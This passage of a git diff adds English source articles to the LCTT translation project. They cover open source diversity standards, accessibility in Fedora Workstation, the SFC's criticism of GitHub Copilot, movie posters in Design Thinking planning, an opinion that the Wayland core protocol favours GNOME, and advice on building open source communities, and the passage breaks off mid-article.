intrinsic potential to take such creation into possibilities that one person alone, or a small group could never achieve. But working openly and collaboratively is also a challenge for the maintainers and a responsibility for the community to ensure that this space is equitable and diverse. + +There's a lot of work ahead. The result of surveys on the health of open source communities often reflect the worst of the technology industry. That's why ensuring that these standards are used is so important. To help mitigate this situation, I am betting on standards. They're a powerful tool to align our intentions and to guide us to an equitable, transparent, and shareable space. Will you join me? + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/open-source-standards-diversity + +作者:[Paloma Oliveira][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/discombobulateme +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/diversity-inclusion-transformation-change_20180927.png +[2]: https://pixabay.com/en/dandelion-colorful-people-of-color-2817950/ +[3]: https://creativecommons.org/publicdomain/zero/1.0/deed.en +[4]: https://opensource.com/article/18/2/coining-term-open-source-software +[5]: https://www.wired.com/2017/06/diversity-open-source-even-worse-tech-overall/ +[6]: https://www.linuxfoundation.org/blog/addressing-diversity-equity-and-inclusion-in-2021-and-beyond +[7]: https://opensource.saucelabs.com/check-my-repo +[8]: https://opensource.saucelabs.com +[9]: https://todogroup.github.io/repolinter diff --git a/sources/talk/20220627 Accessibility in Fedora Workstation.md b/sources/talk/20220627 Accessibility in Fedora Workstation.md new file mode 100644 index 0000000000..0fe841bdf4 --- /dev/null +++ b/sources/talk/20220627 Accessibility in Fedora Workstation.md @@ -0,0 +1,63 @@ +[#]: subject: "Accessibility in Fedora Workstation" +[#]: via: "https://fedoramagazine.org/accessibility-in-fedora-workstation/" +[#]: author: "Christian Fredrik Schaller https://fedoramagazine.org/author/uraeus/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Accessibility in Fedora Workstation +====== +![Accessibility in Fedora Workstation Featured Image][1] + +Photo by [Elizabeth Woolner][2] on [Unsplash][3] + +The first concerted effort to support accessibility under Linux was undertaken by Sun Microsystems when they decided to use GNOME for Solaris. Sun put together a team focused on building the pieces to make GNOME 2 fully accessible and worked with hardware makers to make sure things like Braille devices worked well. I even heard claims that GNOME and Linux had the best accessibility of any operating system for a while due to this effort. As Sun started struggling and got acquired by Oracle this accessibility effort eventually trailed off with the community trying to pick up the slack afterwards. Especially engineers from Igalia were quite active for a while trying to keep the accessibility support working well. + +But over the years we definitely lost a bit of focus on this and we know that various parts of GNOME 3 for instance aren’t great in terms of accessibility. So at Red Hat we have had a lot of focus over the last few years trying to ensure we are mindful about diversity and inclusion when hiring, trying to ensure that we don’t accidentally pre-select against underrepresented groups based on for instance gender or ethnicity. But one area we realized we hadn’t given so much focus recently was around technologies that allowed people with various disabilities to make use of our software. Thus I am very happy to announce that Red Hat has just hired Lukas Tyrychtr, who is a blind software engineer, to lead our effort in making sure Red Hat Enterprise Linux and Fedora Workstation has excellent accessibility support! + +Anyone who has ever worked for a large company knows that getting funding for new initiatives is often hard and can take a lot of time, but I want to highlight how I was extremely positively surprised at how quick and easy it was to get support for hiring Lukas to work on accessibility. When Jiri Eischmann and I sent the request to my manager, Stef Walter, he agreed to champion the same day, and when we then sent it up to Mike McGrath who is the Vice President of Linux Engineering he immediately responded that he would bring this to Tim Cramer who is our Senior Vice President of Software Engineering. Within a few days we had the go ahead to hire Lukas. The fact that everyone just instantly agreed that accessibility is important and something we as a company should do made me incredibly proud to be a Red Hatter. + +What we hope to get from this is not only a better experience for our users, but also to allow even more talented engineers like Lukas to work on Linux and open source software at Red Hat. I thought it would be a good idea here to do a quick interview with Lukas Tyrychtr about the state of accessibility under Linux and what his focus will be. + +Christian: Hi Lukas, first of all welcome as a full time engineer to the team! Can you tell us a little about yourself? + +Lukas: Hi, Christian. For sure. I am a completely blind person who can see some light, but that’s basically it. I started to be interested in computers around 2009 or so, around my 15th or 16th birthday. First, because of circumstances, I started tinkering with Windows, but Linux came shortly after, mainly because of some pretty good friends. Then, after four years the university came and the Linux knowledge paid off, because going through all the theoretical and practical Linux courses there was pretty straightforward (yes, there was no GUI involved, so it was pretty okay, including some custom kernel configuration tinkering). During that time, I was contacted by Red Hat associates whether I’d be willing to help with some accessibility related presentation at our faculty, and that’s how the collaboration began. And, yes, the hire is its current end, but that’s actually, I hope, only the beginning of a long and productive journey. + +Christian: So as a blind person you have first hand experience with the state of accessibility support under Linux. What can you tell us about what works and what doesn’t work? + +Lukas: Generally, things are in pretty good shape. Braille support on text-only consoles basically just always works (except for some SELinux related issues which cropped up). Having speech there is somewhat more challenging, the needed kernel module ([Speakup][4] for the curious among the readers) is not included by all distributions, unfortunately it is not included by Fedora, for example, but Arch Linux has it. When we look at the desktop state of affairs, there is basically only a single screen reader (an application which reads the screen content), called [Orca][5], which might not be the best position in terms of competition, but on the other hand, stealing Orca developers would not be good either. Generally, the desktop is usable, at least with GTK, Qt and major web browsers and all recent Electron based applications. Yes, accessibility support receives much less testing than I would like, so for example, a segmentation fault with a running screen reader can still unfortunately slip through a GTK release. But, generally, the foundation works well enough. Having more and naturally sounding voices for speech synthesis might help attract more blind users, but convincing all the players is no easy work. And then there’s the issue of developer awareness. Yes, everything is in some guidelines like the GNOME ones, however I saw much more often than I’d like to for example a button without any accessibility labels, so I’d like to help all the developers to fix their apps so accessibility regressions don’t get to the users, but this will have to improve slowly, I guess. + +Christian: So you mention Orca, are there other applications being widely used providing accessibility? + +Lukas: Honestly, only a few. There’s Speakup – a kernel module which can read text consoles using speech synthesis, e.g. a screen reader for these, however without something like Espeakup (an Espeak to Speakup bridge) the thing is basically useless, as it by default supports hardware synthesizers, however this piece of hardware is basically a think of the past, e.g. I have never seen one myself. Then, there’s [BRLTTY][6]. This piece of software provides braille output for screen consoles and an API for applications which want to output braille, so the drivers can be implemented only once. And that’s basically it, except for some efforts to create an Orca alternative in Rust, but that’s a really long way off. Of course, utilities for other accessibility needs exist as well, but I don’t know much about these. + +Christian: What is your current focus for things you want to work on both yourself and with the larger team to address? + +Lukas: For now, my focus is to go through the applications which were ported to GTK 4 as a part of the GNOME development cycle and ensure that they work well. It includes adding a lot of missing labels, but in some cases, it will involve bigger changes, for example, GNOME Calendar seems to need much more work. During all that, educating developers should not be forgotten either. With these things out of the way, making sure that no regressions slip to the applications should be addressed by extending the quality assurance and automated continuous integration checks, but that’s a more distant goal. + +Christian: Thank you so much for talking with us Lukas, if there are other people interested in helping out with accessibility in Fedora Workstation what is the best place to reach you? + +Actually for now the easiest way to reach me is by email at [ltyrycht@redhat.com][7]. Be happy to talk to anyone wanting to help with making Workstation great for accessibility. + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/accessibility-in-fedora-workstation/ + +作者:[Christian Fredrik Schaller][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/uraeus/ +[b]: https://github.com/lkxed +[1]: https://fedoramagazine.org/wp-content/uploads/2022/06/Accessibility-in-Fedora-Workstation-816x345.jpg +[2]: https://unsplash.com/@elizabeth_woolner?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/accessibility?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: http://www.linux-speakup.org/speakup.html +[5]: https://wiki.gnome.org/action/show/Projects/Orca?action=show&redirect=Orca +[6]: https://brltty.app/ +[7]: https://fedoramagazine.org/mailto:ltyrycht@redhat.com diff --git a/sources/talk/20220705 GitHub Copilot Is Only Effective Because It Steals Open Source Code.md b/sources/talk/20220705 GitHub Copilot Is Only Effective Because It Steals Open Source Code.md new file mode 100644 index 0000000000..b321dedb8d --- /dev/null +++ b/sources/talk/20220705 GitHub Copilot Is Only Effective Because It Steals Open Source Code.md @@ -0,0 +1,38 @@ +[#]: subject: "GitHub Copilot Is Only Effective Because It Steals Open Source Code" +[#]: via: "https://www.opensourceforu.com/2022/07/github-copilot-is-only-effective-because-it-steals-open-source-code/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +GitHub Copilot Is Only Effective Because It Steals Open Source Code +====== +![github-logo-2][1] + +The Software Freedom Conservancy (SFC), a non-profit community of open source advocates, announced its withdrawal from GitHub today in a scathing blog post urging members and supporters to publicly condemn the platform. The SFC’s issue with GitHub stems from allegations that Microsoft and OpenAI trained an AI system called Copilot on data that had been made available under an open source licence. Open source code is not like a donation box where you can take whatever you want and use it however you want. + +It’s closer to photography. Even if a photographer does not charge you to use one of their images, you are still required to give credit where credit is due. According to an SFC [blog post][2], Copilot does not do this when it comes to using other people’s code snippets: + +“This harkens to long-standing problems with GitHub, and the central reason why we must together give up on GitHub. We’ve seen with Copilot, with GitHub’s core hosting service, and in nearly every area of endeavor, GitHub’s behavior is substantially worse than that of their peers. We don’t believe Amazon, Atlassian, GitLab, or any other for-profit hoster are perfect actors. However, a relative comparison of GitHub’s behavior to those of its peers shows that GitHub’s behavior is much worse.” + +GitHub is the world’s de facto repository for open source code. It’s a cross between YouTube, Twitter, and Reddit, but for programmers and the code they create. Sure, there are alternatives. Switching from one code-repository ecosystem to another, however, is not the same as trading Instagram for TikTok. Microsoft paid more than $7 billion to acquire GitHub in 2018. Since then, Microsoft has used its position as OpenAI’s primary benefactor to collaborate on the development of Copilot. And access to Copilot is only available through a special invitation from Microsoft or through a paid subscription. The SFC and other open source advocates are outraged because Microsoft and OpenAI are effectively monetizing other people’s code while removing the ability for those who use that code to properly credit those who use it. + +Copilot must be killed. Alternately, Microsoft and OpenAI could construct a time machine and travel back in time to label every single datapoint in Copilot’s database, allowing them to create a second model that gives proper credit to every output. But it’s always easier to take advantage of people and exploit the Wild West regulatory environment than it is to care about the ethics of the products and services you offer. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/07/github-copilot-is-only-effective-because-it-steals-open-source-code/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/07/github-logo-2-e1657018894307.png +[2]: https://sfconservancy.org/blog/2022/jun/30/give-up-github-launch/ diff --git a/sources/talk/20220723 Why Design Thinking is a box office hit for open source teams.md b/sources/talk/20220723 Why Design Thinking is a box office hit for open source teams.md new file mode 100644 index 0000000000..0802c68ce1 --- /dev/null +++ b/sources/talk/20220723 Why Design Thinking is a box office hit for open source teams.md @@ -0,0 +1,56 @@ +[#]: subject: "Why Design Thinking is a box office hit for open source teams" +[#]: via: "https://opensource.com/article/22/7/design-thinking-open-source-teams" +[#]: author: "Aoife Moloney https://opensource.com/users/aoifemoloney4" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Why Design Thinking is a box office hit for open source teams +====== +You need the freedom to express your opinion at work. Why should planning processes try to box us into silos and acquiescence? + +![4 hot skills for Linux pros in 2017][1] + +Image by: Internet Archive Book Images. Modified by Opensource.com. CC BY-SA 4.0 + +For the past several years, Design Thinking has been providing a way to enhance problem solving within teams, to ensure learning goals are met, and to increase team engagement. In our [previous article][2], we discussed how we used movie posters to "pitch" our projects to stakeholders. In this article, we're going to review the many lessons we've learned from Design Thinking. + +### The box office reviews + +"If you love what you do, then you’ll never work a day in your life" was the angle we were going for when we decided to break our self-imposed ceiling of needing to be formal and business-like to be able to both plan and deliver work. Our planning team was loving the reaction and engagement we were getting from our stakeholders and wider team from using the movie posters instead of documents. It was at this point that we began to realize how we created this arduous and quite frankly boring way of planning our team's work. We had imposed requirements on ourselves of needing to write up documents, transpose that information into a spreadsheet, and then (yes, a third time) into a slide deck. Product owners and planning teams have to do this four times a year, and the cycle was starting to feel heavy and burdensome to us. + +It's crucial for a product owner or a manager (or whoever is planning a development team's work) to present information about what their team could potentially deliver to stakeholders so that the best decision on where to invest time and resources can be made. But that information had begun to feel like it was just text on a page or screen. Stakeholders weren't really buying into what our planning team was half-heartedly selling. If we didn't enjoy talking about our projects, how could we expect our stakeholders to enjoy discussing them? Our project planning team quickly realized we not only needed to introduce the movie posters for the wider teams' and stakeholders' best interests, but for our own sense of enjoyment in our roles, too. We needed to Kill Bill. + +So with Uma Thurman leading the way in our new concept of using movie posters as cover stories, we found ourselves getting excited about creating new ones for each project request. We were going into each call looking forward to the few moments when the movie posters were unveiled, and those on the calls got a laugh about what was chosen. If they hadn't seen a particular movie before, they often shared that, which resulted in a side conversation where people shared movie trivia and began getting to know each other better. All of this from a software project brief in the style of a *Kill Bill Vol. 2* movie poster. It was incredible to watch the interactions happen and relationships form. The conversations in those calls were freeform, unreserved, and extremely valuable to our planning team. Movie posters got everyone talking, which made it easier for participants on the call to ask for more detail about the project, too. + +Our new and improved planning calls were a "box office smash" and the results spoke for themselves. Our quarterly planning calls went from being 90 plus minutes to under 45 minutes, with both team and stakeholders commenting on how included they felt in the decision making process. A lot of this came from developing and expanding on the requirements and insight gathering sessions we'd conducted in the run up to our quarterly planning calls. This was the last remnant of our formal, stiff approach but there was no denying how useful the information gained from those sessions could be to our projects. So we kept it simple again, and started to introduce the movie posters during what we coined the "insight sessions" instead. Our insight sessions were making a big difference by providing space for people to meet and converse about technical details, potential blockers, risks, and opportunities to leverage one piece of technology against another. This was all happening naturally. The ice had been broken with a reveal of a *Ghostbusters* poster or *A Bugs Life*. People turned on cameras and mics to get involved in the conversation about whether they had seen the movies, the remakes, or the original. It became easy for our planning team to guide the already flowing conversations back to the work at hand. + +### That's a wrap + +We were now delivering valuable, enjoyable, and important calls that were generating a lot of success for our team. Our project delivery success rate hit, and stayed at, 100%. We have never, for three years now, had to halt or drop a project once it's been actioned from quarterly planning. We attribute the high engagement levels on our calls, and we believe people are engaged because our calls are novel and fun while still being informative. We're capturing crucial information about each project before it even begins development, so our teams are able to hit the ground running. + +Yes, planning needs to be considered and measured and thorough, but it's to no one's benefit when only one person is doing the thinking, talking, and measuring. It's important to create a culture of open communication and trust for product owners and project managers, so that they can plan work for their teams and bring real value to their stakeholders and end users. It's even more critical for development teams to have the space and tools to plan openly and collaboratively, both with each other and with adjacent teams. + +You need the freedom to express your opinion at work. Why should planning processes try to box us into silos and acquiescence? That's a quick way to lose friends and gain robots. + +Our team is of the firm belief that people deliver projects. We made some changes when we realized that we needed people, with all of their personalities and perspectives, to see what each project meant to them. Then we could determine which ones to work on. We needed the heart and spirit of Agile methodologies in a process that was open, collaborative, and fun for everyone. + +This way of planning and working together is based on using visuals, and trying to enjoy the work we do and the time we spend together at work. It's a means to promote discussion and move those in planning roles from drivers to facilitators so that a unanimous decision can be reached through shared understanding of the work, and the potential trade-offs that comes with it. We chose movie posters, but the concept can be expanded to just about anything! This is our whole point. You don't have to limit your creativity to plan work. If you like music, make an album! Comics? Design one! Or maybe TV shows are more your speed. Take your pick, my friend—it's your cover story. Tell it in the way you enjoy the most, and enjoy not only the informative projects you will generate for your team, but also the sense of camaraderie everyone will feel from having the freedom and safety to grab a coffee or tea, join a call, and talk amongst friends about movies and technology. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/design-thinking-open-source-teams + +作者:[Aoife Moloney][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/aoifemoloney4 +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/lightbulb-idea-think-yearbook-lead.png +[2]: https://opensource.com/article/22/7/design-thinking-engagement-movie-poster diff --git a/sources/talk/20220724 Wayland Core Protocol is Tailored Only for GNOME and That-s Not a Good Thing [Opinion].md b/sources/talk/20220724 Wayland Core Protocol is Tailored Only for GNOME and That-s Not a Good Thing [Opinion].md new file mode 100644 index 0000000000..1a373cc32e --- /dev/null +++ b/sources/talk/20220724 Wayland Core Protocol is Tailored Only for GNOME and That-s Not a Good Thing [Opinion].md @@ -0,0 +1,135 @@ +[#]: subject: "Wayland Core Protocol is Tailored Only for GNOME and That’s Not a Good Thing [Opinion]" +[#]: via: "https://news.itsfoss.com/wayland-core-protocol-issue/" +[#]: author: "Community https://news.itsfoss.com/author/team/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Wayland Core Protocol is Tailored Only for GNOME and That’s Not a Good Thing +====== +And the idea of protocol extensions doesn’t work + +![Wayland GNOME][1] + +Wayland is a display server system based on the idea of [protocols][2]. That means that there is no Wayland display server that clients need to talk to. Instead, Wayland defines a protocol for creating display servers. Any client application that is programmed to use this protocol can work on any display server(or compositor) that fully supports this protocol. It’s like the [world wide web protocols][3], where any website can work on any browser as long as the browser is completely supporting the web protocols. So you don’t create websites for specific browsers. + +That also means that the functions defined in the protocol decide what applications (aka clients) can do & what they can’t do. Returning to the example of the website, if the protocol doesn’t define necessary functions, it will limit the web developers. Take CSS as an example; if it wasn’t available in the web protocols, all websites would have looked the same and boring. So the protocol must include all necessary basics in a way that doesn’t limit developers to a few cases and uses. + +When Wayland developers started defining the protocol, they had to decide what functionalities to include in the protocol. Their decision was to make the protocol as minimal as possible, and compositors shall create new protocols for their specific use cases if they desire to offer more functionality not included in the main protocol. The main protocol was called [Wayland Core protocol][4], and other protocols are called [protocol extensions][5]. All compositors are expected to support the core protocol, and they may not support other protocol extensions. That means that applications that depend on certain functionality defined in one of the protocol extensions will not work on all compositors. + +All of the above is what Wayland developers intended for the Wayland world to be. Now let’s delve into more detail. How much is Wayland core protocol minimal? In other words, what determines what shall be in the core protocol and what shall not be? In this article, I’m going to give you an answer to this question based on my opinion, which is in turn based on a group of simple facts. + +**My opinion is that Wayland’s Core protocol is tailored only for GNOME needs.** + +I mean that the functionalities which exist in Wayland’s core protocol are the bare minimum required for GNOME desktop and apps to work on Wayland. + +That’s bad (still in my opinion) because it’s simply not enough for other desktop environments and apps other than GNOME desktop and apps, as I will show you in this article. + +### 1. The core protocol requires that desktop visual components be drawn by the compositor + +First, let’s explain something. In most desktop environments, desktop components (like dock, panel, wallpaper, desktop icons, etc.) are regular clients. For those components to work, they need certain functions to be implemented by the compositor; those functions include: + +* Ability to move the window +* Ability to tell the compositor to not draw decorations around said windows. +* Ability to keep it above all windows(in case of the panel) or keep it below all windows (in case of the background). +* In addition to some other functionalities. + +On X11, those were defined in the ICCCM specification, which allows X11 clients to tell the compositor to do any of the above. On Wayland, there is not anything in the core protocol that allows that. This means that desktop environment creators have to draw all these in the compositor. + +GNOME is the only desktop that does that, while many other desktops (KDE, XFCE, Lxqt, etc.) draw their components outside the compositor (an exception to that is Cinnamon because it started as a fork of GNOME 3). The situation is even worse. Apps like [plank dock][6], [latte dock][7] and other independent desktop components can’t exist in Wayland. There are protocol extensions that fix that, and I will discuss them later. + +In summary, the situation is: + +* Desktop environments have to draw everything in the compositor. +* It’s impossible to create cross-desktop desktop components like Plank and Latte dock + +### 2. CSD is implementable, although clients can’t move their window + +We have known before that the core protocol doesn’t define a way for clients to move their windows. So how is CSD implemented? Well, there is a [function in the protocol][8] that tells the compositor to start dragging the window. So instead of having a function for moving the window, which would had been useful in many cases, they resorted to having a function only helpful in implementing CSD. + +### 3. CSD is a must in Wayland core protocol + +On X11, the situation was that apps expect to get decorated by the compositor (which is SSD) and if they wish to decorate themselves (by CSD) they tell the compositor to not draw its decorations. On Wayland, compositors are free to draw their decorations if they wish. + +The problem is that there is no way (inside the core protocol) for apps to know whether they are being decorated or not. In other words, clients can’t tell the compositor whether they prefer CSD or SSD, which is problematic for both CSD and SSD (in theory). But in practice, GNOME decided not to decorate clients at all. So apps have to assume that they are not decorated due to GNOME’s decision, so they must go for CSD. Again, there is a protocol extension that fixes that; more on that later. + +### To summarize + +The above three facts regarding the core protocol in summary are: + +1. Desktop components need to be drawn by the compositor +2. CSD is a must. +3. CSD is implementable, although clients can’t move their windows. + +According to these 3 facts, I’ve concluded my opinion that Wayland’s core protocol is tailored only for GNOME needs. + +What if you wanted some functionalities not available in the core protocol. Wayland or GNOME developers’ answer to this is Wayland’s protocol extensions. That simply means that compositors can offer extra functionality by creating new protocols. The problem with this approach is that means that some apps may work on some compositors and may not work on the rest of the compositors (that’s if it needs some of the protocol extensions). That may have resulted in severe fragmentation in theory, but the reality is less than worse thanks to the efforts of [wlroots project][9] and KDE. + +### Wlroots has mostly saved the situation + +[Wlroots][10] is a library created by [Sway compositor][11] developers. It enables developers to create Wayland/X11 compositors easily. Their main focus is Wayland. There are already many compositors available based on wlroots. What is interesting though is the protocol extensions that wlroots implement. + +Wlroots has many protocol extensions, including: + +* [LayerShell][12] protocol +* [xdg-decoration][13] protocol + +The LayerShell protocol enables desktop components to be drawn outside the compositor. Which also makes it possible to create independent cross-desktop desktop components. Many projects utilize this protocol that you can explore in the following repositories: + +* [nwg-shell][14] +* [wf-shell][15] +* [awesome-wayland][16] + +Also, have a look at [GtkLayerShell library][17]. Which is a library for writing Gtk apps with LayerShell protocol.Because LayerShell protocol is not a part of the core protocol apps using it work on wlroots based compositors and KDE, it’s not supported only on GNOME. + +The second protocol is xdg-decoration protocol. Made by wlroots and KDE, it enables apps to choose between CSD and SSD. + +These protocols work on wlroots compositor and KDE. The only obstacle preventing the unification of Linux desktop is GNOME. They have decided not to implement any of these protocol extensions. Which put all apps that use SSD in a situation where they have to use SSD in supporting environments and CSD in gnome. The people actually feeling the pain are toolkits developers. To give you more context, have a look at the “CSD initiative” started by Tobias Bernard from GNOME, and this blog post from Martin’s blog (kwin’s developer). Also, have a look at this issue. The situation is mostly solved by now, that Qt and Gtk draw CSD always on GNOME and utilize the xdg-decoration on other environments. However, in my opinion, that is not good because it makes the platform less standardized/unified for no good reason. After all, in the future, toolkits developers may decide to just go for CSD to avoid the pain. + +### The root of all these problems + +The root of all these is GNOME or Wayland developers’ decision to have the core as minimum as possible and require the creation of protocol extensions. + +Imagine if the web worked in a similar way. That means that websites would not be able to target the standardized (minimal) protocols because they are not enough and will rely on protocols created by certain browsers. So websites would target specific browsers, not the core protocol. That would had been a nightmare, right? Well, that’s the current Wayland situation. + +### What is the solution? + +The solution, in my opinion, is to put all these protocol extensions in the core protocol, or that might not be necessary if GNOME implements the above protocols (Which is not likely to happen anytime soon.)In simple words, GNOME is the root cause of the problem, and it can solve the problem if it decides to do so. + +Author Info: This article has been contributed by It’s FOSS reader Hamza Algohary. Hamza is a computer engineering student and a Linux and open source enthusiast. He also develops apps for Linux desktop. You can find his work on [his GitHub profile][18]. + +*The views and opinions expressed are those of the authors and do not necessarily reflect the official policy or position of It’s FOSS.* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/wayland-core-protocol-issue/ + +作者:[Community][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/team/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/wayland-core-protocol-gnome.png +[2]: https://wayland.freedesktop.org/docs/html/ch04.html +[3]: https://www.w3.org/standards/ +[4]: https://wayland.app/protocols/wayland +[5]: https://wayland.app/protocols/ +[6]: https://github.com/ricotz/plank +[7]: https://github.com/KDE/latte-dock +[8]: https://wayland-book.com/xdg-shell-in-depth/interactive.html +[9]: https://gitlab.freedesktop.org/wlroots/wlroots +[10]: https://gitlab.freedesktop.org/wlroots/wlroots +[11]: https://swaywm.org/ +[12]: https://wayland.app/protocols/wlr-layer-shell-unstable-v1 +[13]: https://wayland.app/protocols/xdg-decoration-unstable-v1 +[14]: https://github.com/nwg-piotr/nwg-shell +[15]: https://github.com/WayfireWM/wf-shell +[16]: https://github.com/natpen/awesome-wayland +[17]: https://github.com/wmww/gtk-layer-shell +[18]: https://github.com/hamza-Algohary diff --git a/sources/talk/20220726 Open Source Software- Is There an Easy Path to Success-.md b/sources/talk/20220726 Open Source Software- Is There an Easy Path to Success-.md new file mode 100644 index 0000000000..b9c7838853 --- /dev/null +++ b/sources/talk/20220726 Open Source Software- Is There an Easy Path to Success-.md @@ -0,0 +1,100 @@ +[#]: subject: "Open Source Software: Is There an Easy Path to Success?" +[#]: via: "https://www.opensourceforu.com/2022/07/open-source-software-is-there-an-easy-path-to-success/" +[#]: author: "Jules Graybill https://www.opensourceforu.com/author/jules-graybill/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Open Source Software: Is There an Easy Path to Success? +====== +There’s so much that goes on behind the scenes while developing open source software. So how does one make an open source project successful? Is there a shortcut? This article indicates there isn’t one. + +![team work working together][1] + +Open source has become all the rage now. Many entrepreneurs are drawn to it by the allure of quick success. But the truth is, there is no easy path to such success. There is no one thing that you can do to get all of open source right. + +In fact, a lot of the challenges that companies face early on are not technology challenges, but are people and cultural challenges. + +There are many layers of open source that need to be worked on to build a project that can become a hit in the market. And maintaining that success is an ongoing process. But at the crux of it all lies finding the right answer to a very basic question: what exactly is open source? + +### Open source is the code + +For many new users who may not be fully aware of the layers that make open source, the answer is fairly simple: open source is software! And that is not wrong, of course, since that is how most of us are using it. But there’s just so much more to open source than merely being touted as software. + +The essence of any open source project still remains the code. It is what makes the project special and useful for the user. When you’re working in open source, the code is just as much a part of the product as the software. + +Developing a project from the ground up, or even creating a fork of an existing project, requires thousands and thousands of lines of code to be written, even while handling such a large and complex codebase. Especially in the case of creating a fork, care must be taken to remove any prior licences, marketing material, or anything that might not be useful for the user anymore. After all, it is the features of a project that attract its user base and what retains it. When end users are deciding whether to use open source software, they will read the source code, and what they see there should be something that builds their confidence. + +### Open source is the community + +How you engage with the community is also a part of the task of building a product. Building a community and maintaining a healthy relationship with it is one of the most crucial aspects of open source, but is also often the hardest for most leaders as there is very little one can do to control it. One can try to lay the foundation and can be supportive but, ultimately, it’s the people who decide whether they want to join a community. + +It is important to maintain a level of transparency with the community and keep it in the loop. The community can get involved at any step that it wants to. It’s really important that you show most of your work to the community while you are doing it, apart from things that need to be done confidentially, like setting up security, signing certificates, branding, and so on. This helps in winning its trust because, in the end, it is the community that you are liable to, and it can make or break your project. This may make the project work a lot more deliberate, slower and exposed, but it works well in the end. + +Making your work-in-progress so open can seem daunting, especially when you are worried about the repercussions of a delay in updates or having a bug. Yet, making the community members privy to your moves will not only help you build a trustful relationship with them, but also make them feel appreciated. + +However, making your workflow public will also invite scrutiny from the community members, who will often have their opinions and offer you their feedback. Taking note of this feedback is important, because that is how you can make your open source project truly for them. They are the end users and their feedback will reflect how they see your project panning out for them in the long run, and ultimately, how successful and mainstream your software becomes. + +As an example, when we are thinking about a new feature, we publish a request for comments at RFC. We get a lot of feedback, and we have to think hard about how we can incorporate it. + +Since open source is a largely collaborative work, there will be initiatives by the community to offer their support in making the project the best version possible. Not all of it will work out. But as long you are listening, the community will feel involved. + +Engaging with the community has its pitfalls too. There may be differences of opinion within the community, and also between the maintainer and the community, especially when it comes to the matter of governance. Governance is something which is really important for an open source project to have. That is why it is important to have clear documented governance practices, which also include the community. + +Community governance is a tough, but essential, nut to crack. Delegation in itself requires a lot of trust. For a project with millions of lines of code, it can be cumbersome to find someone in the community who can meaningfully lead it. But open source projects often consist of smaller sub-projects, which are better left handled by someone from the community. This helps the community to be more closely involved too. + +| - | +| :- | +| Building a community always has its highs and lows. Let me list some of the tricks that helped maintain a healthy balance between the community’s and my team’s vision. +State your principle: Especially in the early stage of the open source project when the source code is still coming together and things are not exactly going perfectly, it is hard for somebody coming from outside to really understand why you are making the decisions that you are making. Communicating the principles on which you take actions helps you to be upfront about your thought process so that the community does not interpret things incorrectly. +This practice is really helpful. It is also important to follow through and show that when you make a decision, it is guided by one of these principles. +Decide how you are going to collaborate: This may be through channels like Discord, Slack, or simply emails. But if you try to use all of them, you will immediately diffuse the community. People will be communicating with each other all over the place. Choose one or two collaboration tools, and really invest in them for synchronised communication. +Treasure the feedback: Listen to feedback from the community and act on it. Show tat you care about what the community says, even if it requires you to make tough decisions. +Maintain a code of conduct: If you interact with a community, you need to define what is going to be acceptable conduct. Having that in place helps warn people in case they go out of line. You can avoid a lot of trouble if you can just define this early on. +Think about how you will distribute your project: There may be instances when you may not be willing to make your project available to the public because you do not have a certain component in place, or you have features you may not want to make accessible to everyone. Creating distribution terms that suit your preference without compromising on what the user wants is key, so that people who want certain features can access these while those who can do without them also have the option to start using the project without having to compromise. +Avoid polls as much as you can: This is because, often, certain members vote for an option that may not be what the majority goes with. This can create a sense of failure in these members and make them feel excluded from the project. Instead, try asking them what problems they would like to be solved, and then try to invent a solution that does not involve trade-offs. | + +**State your principle:** Especially in the early stage of the open source project when the source code is still coming together and things are not exactly going perfectly, it is hard for somebody coming from outside to really understand why you are making the decisions that you are making. Communicating the principles on which you take actions helps you to be upfront about your thought process so that the community does not interpret things incorrectly. + +This practice is really helpful. It is also important to follow through and show that when you make a decision, it is guided by one of these principles. + +*Decide how you are going to collaborate:* This may be through channels like Discord, Slack, or 